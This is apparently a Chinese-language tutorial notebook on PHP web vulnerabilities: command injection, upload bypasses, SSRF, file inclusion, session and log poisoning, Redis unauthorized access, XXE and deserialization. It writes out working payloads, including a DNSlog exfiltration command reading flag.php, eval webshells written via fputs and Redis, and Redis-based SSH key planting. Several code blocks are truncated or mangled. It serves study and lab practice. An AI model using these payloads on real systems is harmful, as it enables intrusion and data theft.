web安全知识合集
我们知道单引号的绕过可以通过闭合和注释,但是如果php中开启了GPC就无法闭合,因为magic_quotes_gpc可以
1 | 将'变成\' |
也就是转义单引号,使其仅仅成为字符串。
在php5.4开始取消了这一项,也就是默认关闭,我们可以用
1 | $aa = stripslashes($_GET['a']); |
这个函数会对单引号之类的进行转义。
1 | preg_replace("/abc/e", $REQUEST['a'], "abcd"); |
/e表示可以将中间的$REQUEST部分内容,当成代码执行,很危险!函数会将abc替换成我们输入的部分。php7中不存在/e
看一个更难的
1 | $cmd = $GET_['a']; |
单引号不识别相关变量,双引号识别相关变量。
下面是函数执行
1 | create_function(sring args, string code) |
或者下面动态函数
1 |
|
下面用户自定义函数回调
1 | 先判断函数是否可以回调 |
再来看与其相似的函数,只不过参数位置调换了一下
1 | array_filter(array $array, func)将array数组中每个值传递到callback函数,如果函数返回true,array数组当前的值会被包含在结果数组中,键名不变。 |
exec函数
1 | exec(command, array output(optional)) |
shell_exec函数
1 | shell_exec(string $cmd) |
passthru函数
1 | passthru(string $cmd, int $return_var(optional)) |
反引号``
1 | 与shell_exec效果相同 |
防御函数
1 | 1.escapeshellarg()把传入shell作为参数的字符串中的单引号转义,防止注入恶意命令。此时输入的就是纯纯的字符串了。 |
也可以用addslashes()对单双引号进行转义。
命令执行分类
分为有回显和无回显。
下面如果无回显我们看如何判断
延时执行
1 | ls -alh | sleep 3 |
或者
1 | GET_['cmd']); |
然后监听服务端,如果发现请求,那么说明执行了系统命令!说明存在执行漏洞。
或者
DNS请求
1 | _GET['cmd']); |
下面来一道实验练习题
1 | <?php |
我们要通过注入,读取flag,php
1 | poc |
但是如果cp没有权限,就无法使用上述poc。
1 | 构造新poc |
这里主要是拼接dnslog的域名进行一个dns解析,在解析时,就拿到了我们想要执行命令获取的内容!因为要解析,所以要把要读取内容的空格去掉!用sed命令!
简介:
1 | inet addr:192.168.1.100 Bcast:192.168.1.255 Mask:255.255.255.0 |
双斜线的部分,两斜线中间代表替换为空格,s/代表替换模式,/g代表全局替换。
但是由于我们读取php文件,有一些特殊符号,现在ping命令不能读取他特殊符号,所以用一下poc
1 | ?a=``cat flag.php | sed s/[[:space:]]//g | tr "<|?|>|{|}|;|=" "0"`.vo36.dnslog.cn |
也就是采用tr函数,将特殊符号全换成0。
倒叙执行(防止长度限制)
1 | w是用来查看tty信息的,我们可以这样操作,将代码执行倒序,且分块。 |
我们再来举个例子
1 | ($_POST[1]);我们在终端执行写入的时候记得转义所有看起来需要转义的符号,否则会报错。 |
对于数字和字母的过滤,可以采用异或运算来代替
1 |
|
1 | [ xor < is g 103 |
前端绕过(文件上传)
可以禁用js,可以在数据包上传时抓包,然后改回php,这样跳过了浏览的检查。
绕过(MIME(multipurpose internet mail extensions多用途互联网邮件扩展类型)检查)
注意这个是后端检查,所以只要上传的文件是1.php,通过抓包改成php肯定也不能通过,因为检查在后端。如果是MIME检查,我们就上传后,文件名不变,就是1.php,但是将MIME格式修改,改为其允许的格式,比如image/jpeg。
黑名单检测
1 | windows下 httpd.conf |
然后有关于以上后缀名的正则表达式。如果文件后缀名匹配到正则表达式,那么使用php解析。如果服务器基于黑名单检测,又对以上后缀没有完全限制,则用以上后缀名可以绕过。
(其实我们只需要在burpsuite对上述文件名进行一个爆破即可,看回显长度!)
白名单检测
只有上传符合白名单的文件类型,才能上传成功。比如只能上传jpg,我们把一句话木马改为图片,然后上传!加载图片作为php木马执行。连接菜刀时采用文件包含办法,也就是通过传参,触发文件包含。
magic header检查
也就是可以获取文件的16进制进行检查,所以我们要伪造文件头。
1 | GIF89aeval($_POST['a']); |
上传时上传1.php即可,因为其通过文件头判断文件,而不是文件名。
竞争上传
代码逻辑:先进行上传,然后服务器保存之后会做判断,如果不对劲会进行删除,我们利用此时间差来操作。
1 | 网站逻辑:允许上传任意文件,然后检查文件是否包含webshell如果包含就删除,如果不是指定类型就进行unlink。 |
我们要在删除之前访问上传的php,从而执行文件中的php代码。
1 | 5.php |
即通过上传一个文件,写入另一个新文件!
然后记得一直访问5.php,采用快速暴力破解的方式来访问,使其不断执行,一定能将shell写入。
SSRF服务器请求伪造
很多web程序提供从其他服务器获取数据的功能,可以根据用户提交的URL访问对应资源(下载文件等)如果该功能作为代理隧道取=去访问本地或远程服务器,这就是所谓的SSRF。
1 | 可以探测内网信息,端口扫描。 |
ssrf常用函数
1 | file_get_contents()文件读入字符串,除了本地还可以读取远程文件 |
举个例子
1 | $content = file_get_contents($url); |
再举个例子
1 | fsockopen()打开一个网络或建立一个unix套接字 |
源代码:
1 |
|
传参如下
1 | ?host=192.168...&port=22&link=/ |
可以返回对应的端口状态!相当于端口扫描。
curl函数
php支持libcurl库,能够连接各种通讯服务器,使用各种协议。
ssrf漏洞代码
1 |
|
然后传参访问相关内网url。
ssrf限制绕过策略
1.比如对ip的限制,一般会用正则表达式,匹配四个数字,我们只需要访问的时候加上端口,就可以绕过匹配。
1 | http://127.0.0.1:80 |
2.或者用短网址生成。
1 | 打开http://sina.lt网站,输入我们要访问的网址即可生成短网址。 |
3.还可以用xip.io来解析几何到任意ip
1 | 访问http://xip.io可以看到用法 |
4.也可以转换为点分十进制,八进制等等。
或者将点去掉,将其二进制,转换为一个十进制数,直接访问,也可以到先前的目的地。
5.或者采用跳转
1 | http://[email protected] |
就可以访问后面的
SSRF中可以使用的协议
包括file, dict, gopher
file协议
1 | file://文件路径 |
文件路径可以进行转义(加斜杠),也可以不用转义
dict协议的使用
1 | dict://serverip:port/info可以探测端口开放情况和指纹信息。 |
没有输出就是没有端口没有开放!
gopher协议
1 | 使用tcp70端口,进行信息检索,查找任何信息,既可以发送get请求,也可以发送post请求。 |
我们使用curl客户端进行gopher数据包发送。
1 | curl gopher://IP端口/_数据 |
比如
1 | curl gopher://127.0.0.1:80/_GET%20/ssrf.... |
注意_后面先跟请求方法,然后是整个数据包(必须有请求头第一行和HOST部分,Content-Type,Content-Length),可以通过burpsuite抓取并复制,在请求头和请求数据之间要空两行,也就是要有两个%0d%0a。并且在整个包末尾还要加上%0d%0a
必须要加80端口,否则会送到70端口。
文件包含漏洞
1 | php文件包含漏洞发生在通过php函数引入文件时,由于研发人员疏忽,传入的文件名没有经过合理校验,导致操作意向之外的文件,或执行恶意脚本。 |
1.本地文件包含(LFI)
引入服务端本地文件
2.远程文件包含(RFI)
引入其他服务器文件。
用于文件包含的函数
1.include函数
2.include_once函数(检查是否已经包含,如果已经包含就不再包含)
3.require如果包含文件存在错误,会终止脚本。
4.reuquire_once
5.spl_autoload
文件包含漏洞前提
1 | phpini中开启 |
环境代码示例
1 |
|
远程文件包含利用http,https,ftp等协议,获取webshell,并使antsword。
可以用远程地址包含本地文件
1 | http://127.0.0.1/index.php?url=http://192.168.1.1/1.php |
然后可以在1.php中写一个写shell的文件,
1 | fputs(fopen('shell.php','w'),'<?php @eval($_POST["a"]);?>'); |
我们也可以包含1.txt,在其中的上述语句也能得到执行!
然后shell连接。
伪协议利用
1 | file://本地 |
伪协议phar zip利用
实验代码:只允许上传zip文件
1 |
|
文件包含漏洞代码
1 |
|
我们创建一个phpinfo文件,然后把其压缩为phpinfo.zip,然后执行如下
1 | ?file=zip://phpinfo.zip%23phpinfo |
注意一定是百分号23这样才能正确解析!右边是压缩包里面的文件。这样就可以提取并执行了
zip协议识别压缩包是看文件头,所以我们可以把zip改成任意后缀名,替换也可以解析!
如果是phar
1 | ?file=phar://phpinfo.zip/phpinfo |
不过在比赛中常常把后缀名定位jpg。
1 |
|
此时我们就把phpinfo改为jpg后缀然后再压缩上传,然后再用
1 | ?file=zip://phpinfo.zip%23phpinfo |
都可以访问。
日志文件利用
1 | 修改httpd配置文件中的配置CustomLog "logs/access.log" common |
即可开启日志记录。我们提交的所有请求都会被记录到log当中。日志保存结果为url编码后内容。比如<为%3c即无法作为PHP执行。
首先访问
1 | ?abc=phpinfo(); + |
让其进入日志!注意在上传时抓个包,将url编码改回去,让原语句进入日志。
然后文件包含漏洞网页传参
1 | ?file=../../../../../../Extensions\Apache2.4.39\logs/access.log |
注意引号方向,这是windows系统。
也可以将木马写入日志!
SESSION会话利用
session文件用于保存状态,存储在服务端。
php session文件生成过程
在php中使用session_start()启动session会话记录,然后利用超全局变量$_SESSION数组设置和保存数据。
1 |
|
访问该页面即可生成session文件,文件路径可以通过phpinfo输出的路径信息查找。
打开后发现类似序列化内容。
SESSION实验
前提:没有文件上传功能,并且日志文件设置权限不能读取。
环境:php7.2以上
实验代码:
1 |
|
因为日志也不能读取,所以只能采用session。
我们可以采用以下方法保存指定session名称的会话文件。
1 | curl -x http://127.0.0.1:8080 http://192.168....../test.php -H "Cookie:PHPSESSID=abcdef" -F "PHP_SESSION_UPLOAD_PROGRESS=iamabc" -F "file=@/etc/passwd" |
通过一个代理,8080端口,当然这个代理部分可以去掉,最后-F 表示上传文件,因为session开启了上传功能,@表示读取本地文件,这里是linux系统。
执行上述命令后会生成sess_abcdef文件,正好为我们指定的名称。
但是我们打开session文件发现并没有内容,因为我们开启了
session.upload_progress.cleanup | On |
---|---|
也就是马上清除状态。可以考虑竞争上传然后读取。
这里采用爆破上传,也就是采用burpsuite代理抓到的数据包的intuder模块,进行快速爆破式上传。然后在终端一直查看。
我们发现我们可以控制文件内容,这里的iamabc即为PHP_SESSION_UPLOAD_PROGRESS=iamabc,所以我们开始用文件包含。
修改PHP_SESSION_UPLOAD_PROGRESS
1 | PHP_SESSION_UPLOAD_PROGRESS=fputs(fopen('shell.php','w'), '<?php @eval($_POST['cmd']);?>'); |
即写入webshell到站点目录。
写入的时候,进行爆破式写入。与此同时,进行爆破式访问,因为session文件写入后随即被删除!所以两个爆破同时进行。
REDIS未授权访问漏洞利用与防御
1 | redis是一种键值方式的高效数据库。可以将数据保存到内存中。可以将内存的数据写入到磁盘当中。 |
可能因配置不当,进行未授权访问。默认绑定0.0.0.0:6379并且未开启认证!并且0.0.0.0将其暴露在公网当中,直接去访问6379端口。
我们下载redis后,安装配置,打开配置文件
1 | vim redis.conf |
加载配置文件启动redis服务
1 | cd src |
开启后可以用netstat进行查看
1 | netstat -panut |
上述命令可以查看现在监听网络端口和建立的连接。
或者用nmap
1 | nmap -A -p 6379 --script redis-info 192.168.0.107 |
redis客户端连接服务器
1 | redis-cli --help |
然后redis写入文件
1 | config set dir /var/www/html |
查看当前所在目录
1 | 172.17.10.4:6379> config get dir |
写入文件注意写入时至少两个换行。
1 | set x "\n\n\n<?php phpinfo();?>\n\n\n" |
也可以写入一句话木马。
1 | 172.17.10.4:6379> set xxx "\n\n\n<?php @eval($_POST['a']);?>\n\n\n" |
然后把我们写入的内容存到一个文件
1 | config set dbfilename webshell.php |
然后保存
1 | save |
注意!保存的目录要有读写可操作权限!
然后查看文件
redis漏洞防御-增加密码认证
在requirepass 字段后添加我们的密码
开启密码认证后,重启redis然后登陆redis
1 | auth mypassword |
即可认证登陆。
然后绑定内网ip地址,拒绝外网访问。
redis未授权添加ssh密钥
先用nmap探测6379是否开启。
1 | nmap -p 6379 ip |
2.测试redis服务是否存在未授权访问。
1 | redis-cli -h ip |
3.ssh密钥对生成
1 | ssh-keygen -t rsa |
4.redis未授权漏洞利用 上传密钥
1 | cat public.txt | redis-cli -h 192.168... -x set x |
认证时,用私钥加密一段话,并且和消息一起发过去,服务端用公钥解密,对比原话相同即可。
将ssh密钥保存到服务器之后,开始通过ssh连接服务器即可getshell。
1 | ssh -l username -p port -i id_rsa ip |
用以上格式语句即可连接,为什么要指定port呢,因为ssh端口22很可能没有打开,而其他端口也可能支持ssh连接。
连接之后想办法提权,去exploit-db上面搜索提权脚本。
xxe注入安全(xml外部实体注入漏洞)
即应用程序解析xml输入时,没有禁止外部实体的加载,导致可以加载恶意外部文件造成文件读取和命令执行等。漏洞触发在可以上传xml文件的位置。
xml基础(extensible markup language)用来传输和存储数据
没有预定义标签,可以自定义标签!
语法规则
1.标签必须闭合。
2.标签对大小写敏感。
3.必须正确的嵌套。(即闭合顺序要对)
4.xml文档必须有根元素。即标签都是从
1 | <root>开始 |
当然root可以由自己命名。
5.xml属性值必须加符号。比如
1 | date="08/08/2002" |
有五个预定义的实体引用,为了避免符号重复,大于小于,单引号双引号和&都有对应的实体替换,记得查表。
xml中注释和html中基本相同
1 | <!-- slssjskjsk --> |
xml中不会合并空格,即空格会被保留。
下面是xml文档结构
DTD文档类型定义
既可以在xml文档中定义,也可以在外部引用。
内部声明
1 | <DOCTYPE 根元素 [元素声明]>其实就是对你要用的标签的一个声明! |
此处不多说,见XXE漏洞原理文章。
DTD-实体定义
实体是用于定义引用普通文本或特殊字符的快捷方式的变量。
实体引用是对实体的引用。
实体可在内部或外部进行声明。
内部声明
1 |
比如
1 |
上面是定义,下面看引用
1 | <author>&writer;</author> |
即完成了引用。
实体定义和文档类型定义放到一起。都在
1 | <DOCTYPE>里面 |
外部声明
导入dtd文件
1 |
所以我们可以用此url进行文件包含。
浏览器并不能解析,但是基于php可以,如下:
1 |
|
在访问此php后,抓包用post传参,传入我们注入的xxe实体,将其包含flag等文件即可。
XML盲注技巧
实体参数的声明和引用都是以%开头。
1 |
|
下面来高级外部引用
1 |
|
PHP序列化安全
序列化:将复杂数据结构object转化为byte字节存储。反序列化反之。
序列化实验代码
1 |
|
可以看到序列化和反序列化回显。
1 | unserialize()会检查是否存在一个__wakeup()方法,存在则会先调用,预先准备对象需要的资源。 |
实验代码
1 |
|
下面编写序列化代码并获取序列化字符串
1 |
|
可以看到回显
PHP反序列化识别与利用
反序列化识别根本在于HTTP请求是否存在序列化字符串。
1 | burpsuite可以自动识别HTTP请求中存在的序列化字符串。 |
先用burpsuite抓包,然后在target的http请求中右键开始扫描。
反序列化用户认证绕过
不安全的反序列化实验代码
1 |
|
显然我们传入post参数,反序列化时触发漏洞。
还是要先生成序列化代码
1 |
|
所以我们在传参的时候把0改为1即可!
显然这样触发了漏洞。
PHP序列化特殊点介绍
在定义类时,对象的属性可以设置访问限制,通过public,protected, private进行设置权限。
对象中的属性修饰符
在php代码中,定义user类,设置属性具有protected和private属性。
1 |
|
可以看到回显。
不过protected和private还是有区别的,前者会加\x00*\x00后者会加上\x00类名\x00来修饰变量!
序列化字符串中的+号
先来看题目
1 |
|
显然,我们让data为flag.php然后提交序列化字符串即可。但是反序列化时又显然会被正则表达式匹配到,简直无解。
先来序列化一下类
1 |
|
PHP序列化魔术方法
1 | __construct():类的构造函数 |
下面可以用个脚本实验一下
1 |
|
序列化漏洞72663(php版本5.6.24)
当属性个数大于{}中的属性个数时,在unserialize时,不执行__wakeup()。
1 | O:4:"User":1:{s:4:"flag";s:3:"abc";}//也就是外面标注只有一个属性,实际上里面有两个 |
下面看实验代码
1 | class Test |
此时因为外面标注属性大于实际属性值,所以不执行wakeup。